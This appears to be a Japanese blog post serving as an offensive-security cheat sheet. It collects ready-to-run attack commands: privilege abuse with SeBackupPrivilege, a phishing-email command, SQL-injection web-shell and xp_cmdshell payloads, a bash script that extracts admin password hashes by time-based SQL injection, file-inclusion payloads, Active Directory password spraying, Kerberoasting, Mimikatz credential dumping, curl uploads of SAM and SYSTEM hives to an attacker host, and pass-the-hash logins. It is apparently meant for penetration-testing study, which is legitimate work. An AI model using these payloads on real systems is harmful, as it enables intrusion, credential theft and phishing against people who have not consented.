iwr -uri http://<attacker IP>:<port>/SeBackupPrivilegeCmdLets.dll -Outfile SeBackupPrivilegeCmdLets.dll
iwr -uri http://<attacker IP>:<port>/SeBackupPrivilegeUtils.dll -Outfile SeBackupPrivilegeUtils.dll

DLLをインポートする。

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

SeBackupPrivilegeを有効化。

Set-SeBackupPrivilege

有効化されたか確認。

Get-SeBackupPrivilege

SeBackupPrivilegeが有効化された場合、アクセス制限のあるファイルやディレクトリにもアクセスできる。

以下のコマンドは、アクセス制限のあるファイルを、ユーザーのホームディレクトリにバックアップする。バックアップしたファイルは制限無しでアクセスできる。

Copy-FileSeBackupPrivilege C:\path\to\restricted\file.txt C:\Users\<username>\gotcha.txt -Overwrite

Phishing email

フィッシングメールの送信。ペイロードをmal.docとして添付。メールの本文はphishing-email-msg.txtから読み込む。

sudo swaks -t recipient@example.com -f sender@example.com --attach @mal.doc --server $RHOST --body @phishing-email-msg.txt --header "Subject: Hello, This is phishing" --suppress-data -ap

SQL

Connect to DB

## MySQL
mysql -u username -p'password' -h $RHOST

## PostgreSQL
psql -h $RHOST -U username

## MSSQL
impacket-mssqlclient username:password@$RHOST -windows-auth

## SQLite (also see https://mymanfile.com/?p=2897)
sqlite3 database.db

SQL Injection

参考

Web Shellをアップロード

## MySQL
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/webshell.php" -- //
## Then access below to interact with webshell
http://$RHOST/webshell.php?cmd=<your command>

MSSQLのxp_cmdshellでコマンドを実行

## Execute xp_cmdshell via impacket
impacket-mssqlclient username:password@$RHOST -windows-auth
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';

## Execute xp_cmdshell via SQLi
admin' exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
admin' EXEC master.dbo.xp_cmdshell 'certutil -urlcache -split -f http://192.168.10.1/test.txt C:\\Windows\\temp\\test.txt';--

sqlmap

## GET request. Assuming the param user is vulnerable to SQLi
sqlmap -u http://$RHOST/vuln.php?user=1 -p user

## Dump entire DB
sqlmap -u http://$RHOST/vuln.php?user=1 -p user --dump

## POST request. Assuming the param item is vulnerable to SQLi. post.txt expected to contain HTTP POST request. 
sqlmap -r post.txt -p item

## Upload and launch webshell
sqlmap -r post.txt -p item  --os-shell --web-root "/var/www/html"

Time-based SQLi Bash スクリプト

以下は、以前書いたTime-based SQLiを行うBashスクリプト。MySQLが対象。
Time-based SQLiを利用してadminテーブルからパスワードハッシュを窃取する。

#!/usr/bin/bash

URL="http://192.168.10.111/admin/login.php"
offset=3
mychar=33
sleeptime=5
hash='$2'

while [ $(echo -n $hash | wc -c) -ne 60 ] 
do
        #echo "comparing with $(echo -n $hex | xxd -r -p)"
        date1=$(date '+%s')
        # binary statement required for case sensitive comparsion
        curl -s $URL -d "username=admin' AND (select sleep($sleeptime) from admin where substr(binary password,$offset,1) = char($mychar)) AND '1' = '1" -d "password=hoge" -d "login="
        date2=$(date '+%s')
        if [ $(($date2-$date1)) -ge $sleeptime ]; then
                myascii=$(echo $mychar | awk '{printf("%c",$1)}') # convert char code to ascii
                hash=$hash$myascii # append identified char to hash
                echo $hash

                offset=$(($offset + 1))
                mychar=33
        else
                mychar=$(($mychar + 1))


        fi
done
$ ./timebase-sqli.sh 
$2a
$2a$
$2a$1
$2a$12
$2a$12$
$2a$12$e
<snipped>

File Inclusion

Local File Inclusion (LFI)

http://$RHOST/index.php?page=../../../../../../../../../etc/passwd
http://$RHOST/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

カレントディレクトリの場所が不明な場合でも、大量の../を付与すれば、目当てのファイルにアクセスできる。(ルートディレクトリにたどり着いたら、それ以上遡る場所がないため)

PHP Wrappers

参考

php://filterdata://を利用して、ファイルの中身を覗いたり、任意のコマンドを実行する。(アプリケーションにファイルインクルージョンの脆弱性があることが前提)

## obtain source code of admin.php in base64 encoded format via php://filter
http://$RHOST/index.php?page=php://filter/convert.base64-encode/resource=admin.php

## execute arbitrary command via data://
http://$RHOST/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>

Remote File Inclusion (RFI)

http://$RHOST/index.php?page=http://$ATTACKER_HOST/simple-backdoor.php&cmd=ls

Active Directory

AD Enumeration & Reconnaissance

Built-in Windows command

こちらも併せて参照。

ドメイン・ユーザーやグループの情報を表示。

net user /domain
net user <user of interest> /domain
net group /domain
net group <group of interest> /domain

キャッシュされているケルベロス・チケットを表示。

klist

PowerView

Kali Linuxだと/usr/share/windows-resources/powersploit/Recon/PowerView.ps1に配置されている。

PowerView.ps1をインポートする。

powershell -ep bypass
Import-Module .\PowerView.ps1

ドメインの情報を表示。

Get-NetDomain

ドメイン内のコンピューターの情報を表示。

Get-NetComputer | select operatingsystem,dnshostname,operatingsystemversion

ドメイン内のユーザー名、パスワードの変更履歴、最終ログイン日時、ユーザーの説明文を表示。

Get-NetUser | select cn,pwdlastset,lastlogon,description

ドメイン内のグループと、そのメンバーを表示。

Get-NetGroup | select cn,member

特定のグループのメンバーを表示。

Get-NetGroup <group of interest> | select member
Get-NetGroup 'Domain Admins' | select member

カレントユーザーが管理者権限を有しているコンピューターを表示。(ドメインの規模により、コマンドの完了までに時間がかかる)

Find-LocalAdminAccess

ユーザーのログオン状況を表示。

Get-NetSession -ComputerName <computer name> -Verbose

権限の問題でGet-NetSessionを実行できない場合は、PsLoggedon.exeを使ってみる。

PsLoggedon.exe \\hostname

SPNを列挙。

Get-NetUser -SPN | select samaccountname,serviceprincipalname

Windowsに標準インストールされているsetspnでもSPNがセットされたアカウントの情報を確認できる。

setspn -L <username>

特定のユーザーに関連するACLを列挙する。

Get-ObjectAcl -Identity <username>
Get-ObjectAcl -Identity <username> | select ObjectSID, SecurityIdentifier, ActiveDirectoryRights

SIDをオブジェクト名に変換する。

Convert-SidToName <SID>

## convert multiple SIDs
"<SID1>","<SID2>","<SID3>" | Convert-SidToName

特定のオブジェクトに対してGenericAllパーミッションを有しているSIDを列挙。以下の例ではManagement Departmentオブジェクトに対して、GenericAllパーミッションを有しているSIDを列挙する。

Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

以下は、ADの攻略に有用なパーミッションの例。

パーミッション名説明
GenericAllオブジェクトに対して完全な権限を有している。最も強力なパーミッション。
GenericWriteオブジェクトの特定の属性を編集できる。
WriteOwnerオブジェクトのオーナーシップを変更できる。
WriteDACLオブジェクトに適用されているACE (Access Control Entries) を編集できる。
AllExtendedRightsパスワードの変更やリセットができる。
ForceChangePasswordオブジェクトのパスワードを変更できる。
Self (Self-Membership)自身を追加する(?)

ドメイン内の共有フォルダを列挙する。

Find-DomainShare

## Access any interesting shares
dir \\hostname\path\to\share
type \\hostname\path\to\share\hoge.txt

ls \\hostname\path\to\share
cat \\hostname\path\to\share\hoge.txt

Attacking AD Authentication

Password Spray

crackmapexecでパスワード・スプレー攻撃。users.txtにユーザーの一覧が記載されている想定。

crackmapexec smb $RHOST -u users.txt -p 'password123' -d <domain> --continue-on-success

ログインに成功した場合は、[+]と表示される。また、ホストに対して管理者権限を有している場合はPwn3d!と表示される。

AS-REP Roasting

impacketでAS-REP Roasting。

impacket-GetNPUsers -dc-ip <Domain Controller IP> -request -outputfile hashes.asreproast <domain>/<username>

## Then crack AS-REP hash
hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt
hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

RubeusでAS-REP Roasting。

.\Rubeus.exe asreproast /outfile:hashes.asreproast

Kerberoasting

impacketでKerberoasting。

impacket-GetUserSPNs -request -dc-ip <Domain Controller IP> <domain>/<username> -outputfile hashes.kerberoast

## Then crack kerberos hash
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

RubeusでKerberoasting。

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

Credential Harvesting with Mimikatz

└─$ mimikatz -h                                                                                         

> mimikatz ~ Uses admin rights on Windows to display passwords in plaintext

/usr/share/windows-resources/mimikatz
├── kiwi_passwords.yar
├── mimicom.idl
├── Win32
│   ├── mimidrv.sys
│   ├── mimikatz.exe
│   ├── mimilib.dll
│   ├── mimilove.exe
│   └── mimispool.dll
└── x64
    ├── mimidrv.sys
    ├── mimikatz.exe
    ├── mimilib.dll
    └── mimispool.dll

Mimikatzは管理者ユーザーとして実行するのが原則。
privilege::debugを実行して、エラーメッセージが表示された場合は、コマンドプロンプトを管理者として起動して、再度Mimikatzを実行してみる。

mimikatz.exe
privilege::debug

sekurlsa::logonpasswords
or
token::elevate
lsadump::sam

Credential Harvesting with secretsdump

## Dump SAM, SECURITY and SYSTEM registry hive from target machine
reg.exe save hklm\sam sam.save
reg.exe save hklm\security security.save
reg.exe save hklm\system system.save

## Upload them to attack machine
curl -X POST http://$ATTACKER_HOST/upload -F files=@"sam.save"
curl -X POST http://$ATTACKER_HOST/upload -F files=@"security.save"
curl -X POST http://$ATTACKER_HOST/upload -F files=@"system.save"

## Dump creds with secretsdump
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

Obtain NTLM hash via RFI

アプリケーションにリモートファイル・インクルージョンの脆弱性がある場合、攻撃マシンにホストされているSMB共有フォルダを参照させることで、アプリケーションを実行しているユーザーのNTLMハッシュ値を窃取できる。

攻撃マシンでresponderを起動して接続を待ち受け。

(sudo) responder -I <interface>

アプリケーションに細工したリクエストを送って、攻撃マシンにホストされているSMB共有フォルダを参照させる。

curl -i http://$RHOST/index.php?page=\\$ATTACKER_HOST\share
curl -i http://$RHOST/index.php?page=\\\\$ATTACKER_HOST\\share
curl -i http://$RHOST/\\$ATTACKER_HOST\share
curl -i http://$RHOST/\\\\$ATTACKER_HOST\\share

攻撃が成功した場合、responderにアプリケーションを実行しているユーザーのNTLMハッシュ値が送られる。

AD Lateral Movement

smbclient

smbclient //$RHOST/share -U username --pw-nt-hash <NTLM hash>
smbclient \\\\$RHOST\\share -U username --pw-nt-hash <NTLM hash>

impacket

接続した後、コマンドプロンプトを起動する。

impacket-psexec -hashes <LMHash:NTHash> username@$RHOST cmd.exe
impacket-psexec username:password@$RHOST cmd.exe

impacket-wmiexec -hashes <LMHash:NTHash> username@$RHOST cmd.exe

Leave a Reply

Your email address will not be published. Required fields are marked *